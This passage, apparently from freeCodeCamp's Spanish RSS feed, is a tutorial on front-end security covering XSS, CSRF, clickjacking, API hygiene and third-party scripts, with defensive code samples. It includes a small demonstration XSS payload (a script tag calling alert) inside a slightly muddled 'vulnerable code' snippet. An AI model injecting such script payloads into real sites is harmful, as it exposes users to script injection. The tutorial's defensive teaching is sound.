<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Ciberseguridad - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Descubre miles de cursos de programación escritos por expertos. Aprende Desarrollo Web, Ciencia de Datos, DevOps, Seguridad y obtén asesoramiento profesional para desarrolladores. ]]>
        </description>
        <link>https://www.freecodecamp.org/espanol/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Ciberseguridad - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/espanol/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sun, 17 May 2026 04:15:15 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/espanol/news/tag/ciberseguridad/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ Por qué las competencias en ciberseguridad son importantes para los desarrolladores front-end ]]>
                </title>
                <description>
                    <![CDATA[ En estos días, los ciberataques están incrementando las preocupaciones de las que todos en un equipo de desarrollo deberían ser conscientes. Esto significa que si eres un desarrollador, deberías aprender algunas bases de las habilidades de ciberseguridad. Después de todo, los atacantes son típicamente desarrolladores en sí mismo, y sus ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/why-cybersecurity-skills-are-important-for-front-end-developers/</link>
                <guid isPermaLink="false">67afb05c7b839204592b9621</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Thu, 20 Feb 2025 21:21:48 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/02/c4a57662-4275-4deb-92c1-6ec560d6c30a.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/cybersecurity-for-front-end-developers/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">Why Cybersecurity Skills Are Important for Front-End Developers</a>
      </p><p>En estos días, los ciberataques están incrementando las preocupaciones de las que todos en un equipo de desarrollo deberían ser conscientes. Esto significa que si eres un desarrollador, deberías aprender algunas bases de las habilidades de ciberseguridad.</p><p>Después de todo, los atacantes son típicamente desarrolladores en sí mismo, y sus ataques solamente están aumentando en frecuencia, variedad, y complejidad.</p><p>No te digo esto para inculcar miedo. Simplemente, creo que todos los desarrolladores deberían aumentar sus habilidades de ciberseguridad, punto. No solamente entendiendo los principios, sino aplicándolos también. Y esto no es solo importante para ti si trabajas con el equipo de DevSecOps. Es importante para todos.</p><p>Así que, ¿cuál es el rol crítico que los desarrolladores de Front-end pueden jugar al proteger aplicaciones y productos? Continúa leyendo para averiguarlo.</p><h3 id="tabla-de-contenidos">Tabla de Contenidos</h3><ul><li><a href="#ciberseguridad-responsabilidad-backend">La Ciberseguridad no es solamente una responsabilidad del Back-End</a></li><li><a href="#entendiendo-rol-desarrollador-frontend-seguridad">Entendiendo el Rol del Desarrollador de Front-End en Seguridad</a></li><li><a href="#amenazas-ciberseguridad-mundo-real-afectando-frontend">Amenazas de Ciberseguridad del Mundo Real afectando al Front-end</a></li></ul><!--kg-card-begin: markdown--><details>
    <summary>Detalles</summary>
    <ul>
        <a href="#cross-site-scripting"><li>Cross-Site Scripting (XSS)</li></a>
		<a href="#falsificacion-peticiones-entre-sitios-csrf"><li>Falsificación de Peticiones Entre Sitios (CSRF):</li></a>
        <a href="#llamadas-api-inseguras"><li>Llamadas a API Inseguras</li></a>
        <a href="#vulnerabilidades-script-terceros"><li>Vulnerabilidades de Script de Terceros</li></a>
    </ul>
    </details><!--kg-card-end: markdown--><ul><li><a href="#pasos-practicos-mitigar-vulnerabilidades-terceros">Pasos Prácticos para Mitigar Vulnerabilidades de Terceros</a></li><li><a href="#principios-basicos-ciberseguridad-desarrolladores-frontend">Principios Básicos de Ciberseguriad para Desarrolladores de Front-End</a></li></ul><!--kg-card-begin: markdown--><details>
    <summary>Detalles</summary>
    <ul>
        <a href="#confidencialidad"><li>Confidencialidad</li></a>
        <a href="#integridad"><li>Integridad</li></a>
        <a href="#disponibilidad"><li>Disponibilidad</li></a>
    </ul>
</details><!--kg-card-end: markdown--><ul><li><a href="#conclusion">Conclusión</a></li></ul><!--kg-card-begin: html--><h2 id="ciberseguridad-responsabilidad-backend">La Ciberseguridad no es solamente una responsabilidad del Back-End</h2><!--kg-card-end: html--><p>La Ciberseguridad ya no es algo que solamente se deben de preocupar los desarrolladores de Back-end.</p><p>Aprender estas habilidades pueden beneficiar a cada desarrollador, pero en este artículo, me enfocaré en el desarrollo de Front-end por dos razones.</p><p>Primero, el desarrollo de Front-end es usualmente visto como el lado más creativo del desarrollo. No es que los equipos no vean a la ciberseguridad como algo importante aquí, pero no suele ser una prioridad. Esta forma de pensar podría llevar a errores catastróficos que comprometen todo el sistema completo. Especialmente porque las vulnerabilidades de Front-end son comúnmente explotados en estos días.</p><p>La otra razón es que el Front-end es donde el cliente interactúa con la aplicación y probablemente tenga su primera interacción real con la marca. Los desarrolladores de Front-end necesitan asegurar que esta experiencia sea fructífera, positiva, amigable, y construya confianza.</p><p>Ya hay muchas personas hablando sobre mantener el Back-end seguro, – ya que eso viene con el territorio. Así que, hablemos sobre por qué necesitas mitigar los riesgos en el Front-end, para qué riesgos específicos prepararse, y cómo <a href="https://www.pipedrive.com/en/blog/cybersecurity-tips">mejorar tus habilidades de ciberseguridad</a>. </p><p>Nota rápida – estas habilidades no solo van a ser útiles y prácticas para agregar a tu caja de herramientas. También te prepararán para nuevas oportunidades para crecer en tu carrera, especialmente ahora que la industria de la ciberseguridad continúa creciendo.</p><!--kg-card-begin: html--><h2 id="entendiendo-rol-desarrollador-frontend-seguridad">Entendiendo el Rol del Desarrollador de Front-End en Seguridad</h2><!--kg-card-end: html--><p>Los desarrolladores de Front-end juegan un rol crucial como la primera línea de defensa en contra de los atacantes.</p><p>Cada clic de botón, envío de formulario, y llamada a la API necesitan ser fluidos, y el desarrollador Front-end hace esto posible. Enfocarse en el Front-end significa que estos desarrolladores son los guardianes de las interacciones del usuario. Como tal, están haciendo mucho más que solo crear una interfaz de usuario elegante; también tiene que ser seguro y prevenir vulnerabilidades.</p><p>Los desarrolladores de Front-end manejan cómo los datos son recolectados, validados y pasados a los sistemas de Back-end, por lo que no hay lugar para errores en ningún punto. De otra manera, usuarios maliciosos podría causar estragos en toda la aplicación.</p><p>Por definición, el Front-end es la parte más expuesta de cualquier aplicación, por lo que si hay una vulnerabilidad en el código, puede potencialmente ser explotados por los atacantes. Implementar <a href="https://blog.scalefusion.com/es/best-data-protection-software/">software</a> de protección de datos comprensivos minimiza los riesgos de seguridad desde el principio. </p><p>En contraste, el código de Back-end se oculta a los usuarios y se ejecuta en entornos controlados, a diferencia del código de Front-end, el cual es servido a los navegadores de los usuarios y es accesible a los usuarios y a los atacantes de la misma forma. Por ejemplo, si un desarrollador de Front-end implementa un pobre manejo de entrada de usuario, los sistemas de Back-end podría ser expuestos a inyecciones de SQL o ataques de Cross-Site Scripting (<a href="https://es.wikipedia.org/wiki/Cross-site_scripting">XSS</a>). Abajo, discutimos estas amenazas específicas en más detalle. </p><!--kg-card-begin: html--><h2 id="amenazas-ciberseguridad-mundo-real-afectando-frontend">Amenazas de Ciberseguridad del Mundo Real afectando al Front-end</h2><!--kg-card-end: html--><p>Los ciberataques vienen de muchas formas. Si estamos hablando sobre el Front-end, estos pueden variar desde ataques en campos de entrada de usuario a la explotación de librerías de terceros. Las vulnerabilidades más comúnes son:</p><ol><li>Cross-Site Scripting o (<strong>XSS</strong>)</li><li>Falsificación de Peticiones en Sitios Cruzados (<strong>CSRF</strong> - Cross-Site Request Forgery en inglés)</li><li>Llamadas a API Inseguras</li><li>Vulnerabilidades de Script de Terceros</li></ol><!--kg-card-begin: html--><h3 id="cross-site-scripting">1. Cross-Site Scripting (XSS):</h3><!--kg-card-end: html--><p>XSS es probablemente la vulnerabilidad más común discutido en el desarrollo Front-end y en la ciberseguridad. Ocurre cuando una aplicación genera scripts maliciosos inyectados por un atacante que se ejecuta en el navegador del usuario. Esto es posible solamente debido a una impropia sanitización de entrada.</p><p>Por ejemplo, malos actores podría usar ataques de XSS para inyectar un script en una sección de comentarios. Ya sea debido a una impropia sanitización de entradas o el atacante pasando por alto la validación, así también como otros usuarios ven este comentario, el script puede robar las cookies o redireccionar a los usuarios a sitios de phishing.</p><p>XSS es peligroso porque se dirige directamente a los usuarios y puede comprometer sus datos, sin mencionar su confianza en tu aplicación.</p><p>Los ataques de XSS se están volviendo más peligrosos y sofisticados con el tiempo. Al dirigirse directamente a los usuarios, los atacantes pueden cosechar datos personales o redireccionar a los usuarios a <a href="https://www.aura.com/learn/how-to-know-if-a-website-is-safe">sitios web maliciosos</a>. </p><p><strong><strong>Objeción: XSS </strong>e<strong>s </strong>una preocupación del<strong> Back-End, </strong>no del<strong> Front-End</strong></strong></p><p>Si quieres ponerte técnico y objetar diciendo que XSS no es verdaderamente una preocupación del Front-end sino del Back-end, veo de dónde vienes. Prevenir XSS puede ser hecho enteramente en el Back-end a través de validación de entradas, sanitización, y pruebas.</p><p>Pero este pensamiento pierde el punto de esta discusión, al que yo te quiero llevar. A saber, el Front-end es donde el riesgo se origina, y por lo tanto, si hay lugar para mitigar el riesgo de forma inmediata, en primera línea, hay que hacerlo.</p><p>También, si la validación falla en el Back-end, la vulnerabilidad todavía se mantiene ya que el ataque tiene éxito en superar este punto particular de falla. En cambio, ¿por qué no fortalecer tanto el Back-end como el Front-end para una defensa superior?</p><p><strong>Pasos Prácticos<strong> </strong>para<strong> </strong>Mitigar Ataques de<strong> XSS </strong></strong></p><p><strong><strong>1. </strong>Sanitización de Entradas</strong></p><p>El primer paso es implementar un proceso de sanitización de entrada que usa librerías o características incorporadas del framework para eliminar caracteres dañinos antes de que sean procesados o mostrados. Por ejemplo, en JavaScript, librerías como DOMPurify puede ayudar en limpiar el contenido generado por el usuario para quitar scripts maliciosos. </p><p>Aquí hay un ejemplo simplificado de entrada no sanitizado vs sanitizado:</p><pre><code class="language-javascript">// Código Vulnerable
const userInput = document.getElementById('comment').innerHTML = "&lt;script&gt;alert('Hackeado!')&lt;/script&gt;";

// Con DOMPurify
const sanitizedInput = DOMPurify.sanitize(userInput);
document.getElementById('comment').innerHTML = sanitizedInput;
</code></pre><p><strong><strong>2. </strong>Codificación</strong></p><p>Si tu aplicación permite a los usuarios contribuir <a href="https://www.superside.com/blog/smash-your-cpl-with-ugc-style-ads">contenido generado por ellos mismos</a>, codifícalo. Si los navegadores intenta leerlo, solamente lo verán como texto en vez de código ejecutable.</p><p>Por ejemplo, la codificación de HTML puede convertir &lt; y &gt; en &lt; y &gt;.</p><p><strong><strong>3. </strong>Política de Seguridad de Contenido<strong> (CSP</strong> - <strong><em>Content Security Policy</em></strong> en inglés<strong>)</strong></strong></p><p>También puedes configurar Políticas de Seguridad de Contenido (CSPs) para actuar como una red de seguridad. Una Política de Seguridad de Contenido es un mecanismo de defensa basado en el navegador. Al definir reglas en los encabezados HTTP de tu servidor, puedes restringir los tipos de contenido (por ejemplo, JavaScript, CSS, y así sucesivamente) que están permitidos cargar, aunque no podrían detectar todos los ataques o vulnerabilidades XSS.</p><!--kg-card-begin: html--><table style="box-sizing: inherit; margin: 0.5em 0px 2.5em; padding: 0px; border: 0px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-numeric: inherit; font-variant-east-asian: inherit; font-variant-alternates: inherit; font-variant-position: inherit; font-variant-emoji: inherit; font-weight: 400; font-stretch: inherit; line-height: inherit; font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Oxygen, Ubuntu, Cantarell, &quot;Open Sans&quot;, &quot;Helvetica Neue&quot;, sans-serif; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 1.6rem; vertical-align: top; border-spacing: 0px; border-collapse: collapse; display: inline-block; overflow-x: auto; max-width: 100%; width: auto; white-space: nowrap; background: radial-gradient(at left center, rgba(0, 0, 0, 0.2) 0px, rgba(0, 0, 0, 0) 75%) 0px center / 10px 100% no-repeat scroll, radial-gradient(at right center, rgba(0, 0, 0, 0.2) 0px, rgba(0, 0, 0, 0) 75%) 100% center / 10px 100% scroll rgb(255, 255, 255); color: rgb(10, 10, 35); letter-spacing: normal; orphans: 2; text-align: start; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><tbody style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline;"><tr style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline;"><td style="box-sizing: inherit; margin: 0px; padding: 6px 12px; border: var(--gray10) 1px solid; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline; background-image: linear-gradient(to left, rgb(255, 255, 255) 50%, rgba(255, 255, 255, 0) 100%); background-size: 20px 100%; background-repeat: no-repeat; background-position: 100% 0px;"><p style="box-sizing: inherit; margin: 0px 0px 1.5em; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline; min-width: 100%;">Content-Security-Policy: script-src 'self'<span>&nbsp;</span><a target="_self" href="https://trusted-source.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;">https://trusted-source.com</a>;</p></td></tr></tbody></table><!--kg-card-end: html--><p>Esta política asegura que solamente los scripts de tu propio dominio o fuentes confiables sean ejecutados para mitigar el riesgo de XSS.</p><p>Al combinar sanitización de entrada, codificación, y CSPs, puedes reducir significativamente el riesgo de ataques XSS. El fortalecer el Front-end así como el Back-end provee la defensa en capas necesaria para proteger los datos del usuario y mantener la confianza en tu aplicación.</p><!--kg-card-begin: html--><h3 id="falsificacion-peticiones-entre-sitios-csrf">2. Falsificación de Peticiones Entre Sitios (CSRF):</h3><!--kg-card-end: html--><p>Usuarios autenticados quienes confían en un sitio podrían ser engañados potencialmente en realizar acciones que nunca quisieron y podrían inclusive no notarlo. Esto podría conducir a cambiar o eliminar cuentas o transferir fondos. Estos son ataques CSRF, y pueden ser particularmente devastadores para los usuarios de una aplicación.</p><p>Para dar un ejemplo de CSRF, digamos que un usuario dejó un sitio de red social sin cerrar la sesión. Ellos visitan un nuevo sitio, el cual termina siendo malicioso, y una formulario oculto envía una solicitud para actualizar automáticamente su biografía del perfil de la red social con enlaces phishing. Siendo que ellos ya estaban autenticados, la plataforma procesa la solicitud maliciosa como si fuera del usuario.</p><p>Nuevamente, podrías argumentar que abarcar el problema de CSRF es una cuestión del Back-end, donde puedes usar tokens anti-CSRF para prevenir estos ataques. Es verdad que estos tokens son cruciales, pero descuidar la responsabilidad del Front-end en crear un flujo de trabajo seguro puede dejar a las aplicaciones vulnerables.</p><p>Por ejemplo, implementar <a href="https://www.textmagic.com/blog/texting-and-two-factor-authentication/">autenticación de dos factores (2FA)</a> puede agregar una capa adicional de seguridad, asegurando que incluso si un intento de CSRF ocurra, acciones no autorizadas son significativamente más difíciles de ejecutar.</p><p>Los ataques de CSRF facilitan a los atacantes robar <a href="https://www.aura.com/learn/how-to-protect-your-personal-information-online">información personal en línea</a>. De hecho, 1 de 4 personas son propensos a ser víctimas de un crimen en línea, así que protegerse en contra de estos ataques es crucial.</p><p><strong>Pasos Prácticos<strong> </strong>para<strong> </strong>Mitigar<strong> </strong>Ataques <strong>CSRF</strong></strong></p><p>Si los desarrolladores de Front-end quieren crear flujos de trabajo más robustos que prevengan ataques de CSRF, el primer paso es reforzar la intención del usuario. En cualquier momento que hayan acciones de usuario potencialmente sensibles, deberías requerir confirmación explícita de que ellos quieren proceder. Podrías simplemente preguntar, "¿estás seguro de que quieres hacer eso?" Es una forma sencilla pero seguro de hacerles al menos pensar y confirmar su decisión.</p><p>Luego está el problema de clickjacking. Este es simplemente el nombre para cuando los malos actores usan elementos ocultos o sobrepuesto (como botones o enlaces) en una página aparentemente legítima para engañar a los usuarios en que hagan clic en algo distinto de lo que esperan. Por ejemplo, un usuario podría pensar que está haciendo clic en un botón inofensivo, pero en realidad, están aprobando una acción sensible como transferir fondos o cambiar las opciones de cuenta.</p><p>Para prevenir esto, usa encabezados como <code>X-Frame-Options</code> o <code>Content-Security-Policy</code> para evitar que los atacantes incrusten tu aplicación en etiquetas iframes.</p><ul><li><strong><strong><code>X-Frame-Options Header</code>:</strong></strong> Este encabezado le dice al navegador si tu sition puede ser incrustado en un iframe y por quién.</li></ul><p>Ejemplo:</p><pre><code class="language-javascript">X-Frame-Options: DENY
</code></pre><p>Esto asegura que tu aplicación no pueda ser incrustado en ningún iframe el cual bloquea efectivamente cualquier intento de clickjacking.</p><p>De forma alternativa, puedes especificar fuentes confiables específicas:</p><pre><code class="language-javascript">X-Frame-Options: ALLOW-FROM https://trusted-domain.com
</code></pre><p>Esto permite a los iframe que carguen tu aplicación solamente en un dominio confiable.</p><ul><li><strong><strong><code>Content-Security-Policy</code> (CSP):</strong></strong> Ya que el <code>X-Frame-Options</code> es efectivo, CSP provee más flexibilidad. Puedes usar la directiva frame-ancestors para controlar qué dominios están autorizados para incrustar tu aplicación.</li></ul><p>Ejemplo:</p><pre><code class="language-javascript">Content-Security-Policy: frame-ancestors 'self' https://trusted-domain.com;
</code></pre><p>Esto asegura que solamente tu propio sitio ('self') o explícitamente dominios permitidos pueda mostrar tu aplicación en un iframe.</p><p>Tocaré mas sobre esto abajo, pero una clave para crear un programa de seguridad integral es colaborar efectivamente con tus homólogos del Back-end. Ya que probablemente tengan un proceso para tokens anti-CSRF, puedes entender cómo son generados y aseguran que están incluidos de forma apropiada en todas las peticiones relevantes.</p><p>Para una mayor seguridad de comunicación con tus equipos se recomienda usar <a href="https://www.chanty.com/blog/dod-approved-messaging-apps/">aplicaciones aprobadas por DOD</a>.</p><!--kg-card-begin: html--><h3 id="llamadas-api-inseguras">3. Llamadas a API Inseguras</h3><!--kg-card-end: html--><p>La API es lo que permite al Front-end y el Back-end del sistema que se comuniquen. El Front-end es frecuentemente donde las llamadas a la API son iniciadas y donde los datos sensibles son manejados. Si la API no es segura en términos de tokens y credenciales de Front-end, todo el sistema puede terminar comprometido.</p><p>La Encriptación es la clave para mantener tus claves de API y tokens seguros de forma que no sean expuestas en el código del lado del cliente o de alguna manera compartidos sobre conexiones sin encriptación, donde actores maliciosos pudieran fácilmente interceptar y abusar. Esto recae en el desarrollador de Front-end porque políticas de CORS mal implementadas o procesos de manejo de errores pueden en realidad conducir a información filtrada. Integrar de forma segura las APIs en un sistema de gestión de comunicación puede mejorar aún más la protección al optimizar las medidas de seguridad para interacciones sensibles.</p><p>Llamadas a API inseguras puede ser una mina de oro para los atacantes. Si tokens o credenciales sensibles son expuestos, serán capaces de acceder a cuentas y robar datos personales, probablemente para cometer robo de identidad. Asegurar las APIs trata sobre prevenir que los atacantes encuentren vulnerabilidades.</p><p>Afortunadamente, hay unas pocas formas de que puedas hacer tu API más seguras.</p><p><strong>Pasos<strong> </strong>Prácticos<strong> </strong>para<strong> </strong>Mitigar ataques a<strong> </strong>una <strong>API</strong></strong></p><p>Así como la última sección, puedes prevenir un montón de dolores de cabeza al usar conexiones cifradas y reforzadas con HTTPS. Esto ayuda en mantener a raya a los chicos malos y previene la intercepción durante la transmisión.</p><p>Cuando se traba sobre información sensible que rodea a tu API, asegúrate de usar cookies seguras con los argumentos <code>HttpOnly</code> y <code>Secure</code> en vez de localStorage o sessionStorage ya que son accesibles por JavaScript y vulnerables a ataques XSS.</p><p>Las cookies seguras son críticos para almacenar información confidencial como IDs de sesión o tokens de autenticación. Al usar los argumentos <code>HttpOnly</code> y <code>Secure</code>, haces que las cookies sean inaccesibles a JavaScript (reduciendo el riesgo de ataques XSS) y asegurar que solamente sean transmitidos sobre HTTPS.</p><p>Aquí hay un ejemplo de poner cookies seguras en Express.js:</p><pre><code class="language-javascript">app.use(require('cookie-parser')());

app.get('/set-cookie', (req, res) =&gt; {
  res.cookie('authToken', 'tu-token-seguro', {
    httpOnly: true,  // Evita el acceso a JavaScript del lado del cliente
    secure: true,    // Asegura que las cookies sean enviadas solamente sobre HTTPS
    sameSite: 'strict', // Evita el uso de cookie entre sitios
  });
  res.send('¡Cookie seguro configurado!');
});
</code></pre><p>Oh, y si tienes alguna información sensible sobre la API, sólo asegúrate de incluirlos en ningún mensajes de error de API. Los mensajes de error pueden ser una mina de oro para los atacantes que buscan explotar tu sistema. Evita exponer detalles sensibles sobre tu API, tales como trazos del stack, estructuras de la Base de Datos, o mecanismos de autenticación, en las respuestas de error.</p><p>Mira un poco este ejemplo sobre sanitizar mensajes de error en Express.js:</p><pre><code class="language-javascript">app.use((err, req, res, next) =&gt; {
  console.error(err.stack); // Registra el error completo internamente para depurar
  res.status(500).send({
    error: 'Un error inesperado ocurrió. Por favor intente nuevamente más tarde.',
  }); // Envía un mensaje de error genérico al cliente
});
</code></pre><p>By sanitizing responses, you reduce the chances of leaking information that could aid an attacker.</p><!--kg-card-begin: html--><h3 id="vulnerabilidades-script-terceros">4. Vulnerabilidades de Script de Terceros</h3><!--kg-card-end: html--><p>El desarrollo puede tomar un largo tiempo cuando se hace desde cero, por lo que scripts y librerías de terceros son esenciales para poner en marcha una aplicación y ejecutarla rápidamente. Con scripts de terceros, obtienes funcionalidad pre-construida y puede acortar el tiempo de desarrollo de forma significativa. El único problema es que podría haber vulnerabilidades de las que no seas consciente debido a que el script no es enteramente tuyo.</p><p>Extender tu desarrollo para incluir scripts o librerías de terceros sí incrementa la probabilidad de un riesgo potencial, ya que una sola librería comprometida podría introducir código malicioso en todas las aplicaciones que están conectadas a él.</p><p>Para algunos negocios como envío directo y comercio electrónico, los cuales frecuentemente se basan en herramientas de terceros para la gestión de inventario, procesamiento de órdenes, y funcionalidades del sitio web, asegurar la seguridad de estos scripts es crucial para mantener la integrar operacional y la confianza del cliente.</p><p>Históricamente hablando, al menos un incidente (mira "event-stream" si no has oído de él) involucró un paquete ampliamente usado afectando a miles de proyectos porque no estaba cuidadosamente monitoreado.</p><!--kg-card-begin: html--><h2 id="pasos-practicos-mitigar-vulnerabilidades-terceros">Pasos Prácticos para Mitigar Vulnerabilidades de Terceros</h2><!--kg-card-end: html--><p>Como un desarrollador front-end, hay algunos formas para evitar escenario, y mayormente involucran auditar de forma constante. Si estás considerando usar cualquier librerías de terceros, haz todo lo que puedas para ver si tiene vulnerabilidades.</p><p>Hay muchas herramientas para esto, algunos que ya podrías estar usando como Snyk, npm audit, or OWASP Dependency-Check para escanear la librería en busca de problemas. Por ejemplo, si estás considerando en agregar una librería de JavaScript para manejar formularios de entrada de usuario, puedes comenzar ejecutando un auditoría:</p><pre><code class="language-bash">npm audit
</code></pre><p>Esto resaltará cualquier vulnerabilidad en las dependencias de la librería. Si se encuentran vulnerabilidades críticas, o actualiza el paquete (si hay parches disponibles) o considera alternativas.</p><p>También puedes simplemente restringir el número de scripts para incluir solamente aquellos que coincidan con el criterio que has designado tales como estar siendo mantenido activamente, teniendo un fuerte registro de seguridad, y que venga de fuentes acreditados. De forma adicional, implementa salvaguardas para controlar su comportamiento. Por ejemplo, usa una Política de Seguridad de Contenido (CSP) para restringir de dónde pueden cargar los scripts. Agrega un encabezado CSP a tu aplicación:</p><pre><code class="language-xml">&lt;meta http-equiv="Content-Security-Policy" content="script-src 'self' https://trusted-library.com;"&gt;
</code></pre><p>Esto restringe a los scripts a tu propio dominio y la fuente de terceros confiable.</p><p>También puedes echar un ojo a la comunidad y ver qué actualizaciones están por llegar sobre parches de seguridad y deprecaciones para tus librerías existentes. Si tienes que hacer cambios porque encuentras algunos problemas, asegúrate de compartir tus descubrimientos con la comunidad. Esto podría ser a través de documentación escrita, publicaciones de blog, o inclusive <a href="https://riverside.fm/recording">grabando vídeos</a> que explican tus descubrimientos y soluciones.</p><p>Nuevamente, no estamos diciendo que deberías tirar todos los centavos del presupuesto para trabajar en tus proyectos desde cero. Pero probablemente puedes encontrar el balance correcto entre las librerías útiles y las sospechosas una vez que aprendas a realizar auditorías.</p><!--kg-card-begin: html--><h2 id="principios-basicos-ciberseguridad-desarrolladores-frontend">Principios Básicos de Ciberseguriad para Desarrolladores de Front-End</h2><!--kg-card-end: html--><p>Volvamos a ayudarte, como desarrollador, a entender cómo puedes beneficiarte de la ciberseguridad. Después de todo, el desarrollo de Front-end segura se reduce a entender tres principios claves de ciberseguridad: <strong>Confidencialidad</strong>, <strong>Integridad</strong> y <strong>Disponibilidad</strong>. Usualmente le llamo la Triada CID (CIA en inglés), porque solo usando estos tres principios, puedes construir un <a href="https://www.privacyjournal.net/what-is-digital-security/">marco de trabajo de seguridad comprensiva</a>. &nbsp;</p><!--kg-card-begin: html--><h3 id="confidencialidad">Confidencialidad</h3><!--kg-card-end: html--><p>La Confidencialidad trata sobre proteger datos sensibles. Tu objetivo es asegurar que las personas equivocada no pongan sus manos sobre los datos de los que no deberían acceder. Así que, donde entras como un desarrollador de Front-end es crear sistemas cuidadosamente que mantenga los datos seguros ya que se maneja en el lado del cliente hacia y desde el servidor.</p><p>Si un usuario comparte datos sensibles con tu aplicación, digamos, en un formulario de generación potencial, ya han mostrado que confían en ti para mantener su información seguro. Esta información incluye contraseñas, claves de API, números de tarjeta de crédito, información de identificación de personal, y otra información personal o financiera. Si confían en tu aplicación, es mejor ser capaces de mantener su información seguro y protegido. Si no lo hace, arriesgas en que su información y posiblemente su identidad sea comprometida.</p><p><strong>Convirtiendo la<strong> Confiden</strong>cialidad<strong> </strong>en una<strong> </strong>Habilidad</strong></p><p>Dominar la habilidad para manejar datos sensibles seguramente es la clave para asegurar la confidencialidad. Aquí está cómo puedes proteger la confidencialidad del usuario:</p><p><strong><strong>1. Encr</strong>i<strong>pt</strong>a<strong> </strong>los <strong>Dat</strong>os<strong> </strong>e<strong>n </strong>el <strong>Tránsit</strong>o<strong> </strong>usando<strong> HTTPS</strong></strong></p><p>Para asegurar que los datos permanezcan confidenciales durante la transmisión, siempre utiliza <a href="https://aioseo.com/seo-glossary/https-hyper-text-transfer-protocol-secure/">HTTPS</a>. Éste encripte la comunicacón entre el cliente y el servidor lo que hace más difíciles a los atacantes que intercepten información sensible. Por ejemplo, cuando despliegues tu aplicación, asegúrate que tu servidor web se configure para reforzar HTTPS. Si estás usando Nginx, tu archivo de configuración debería incluir:</p><pre><code class="language-nginx">server {
    listen 443 ssl;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    server_name yourdomain.com;
}
</code></pre><p>Esto asegura que toda la comunicación entre cliente y servidor se encripte.</p><p><strong><strong>2. </strong>Aprender<strong> </strong>a Almacenar<strong> </strong>Datos Sensibles<strong> </strong>en Ubicaciones Seguras</strong></p><p>Evita almacenar información sensible (como tokens o contraseñas) en mecanismos de navegadores inseguros tales como localStorage o sessionStorage. En cambio, usa cookies seguras con los argumentos HttpOnly y Secure. Por ejemplo, cuando pongas las cookies para la autenticación de usuario, configúralos de esta forma en tu Back-end:</p><pre><code class="language-javascript">res.cookie('authToken', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
});
</code></pre><p>Esto previene que ataques basado en JavaScript (como XSS) accedan a la cookie a la vez que asegura quese envíe solamente sobre HTTPS.</p><p><strong><strong>3. Valida </strong>y<strong> Sanitiz</strong>a<strong> </strong>las Entradas</strong></p><p>Cuando recolectes datos sensibles, valida y sanitiza las entradas de usuario para prevenir datos maliciosos de que sean procesados. Si estás construyendo un formulario para recolecar PII, como direcciones de email o números de teléfono, valida la entrada tanto el lado del cliente como del servidor:</p><p><strong>Validación del lado del <strong>Client</strong>e<strong> (React):</strong></strong></p><pre><code class="language-javascript">const validateEmail = (email) =&gt; {
    const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return regex.test(email);
};
</code></pre><p><strong>Validación del lado del <strong>Serv</strong>idor <strong>(Node.js):</strong></strong></p><pre><code class="language-javascript">const sanitize = require('sanitize-html');
app.post('/submit', (req, res) =&gt; {
    const sanitizedInput = sanitize(req.body.email);
    // Proceso de entrada sanitizada
});
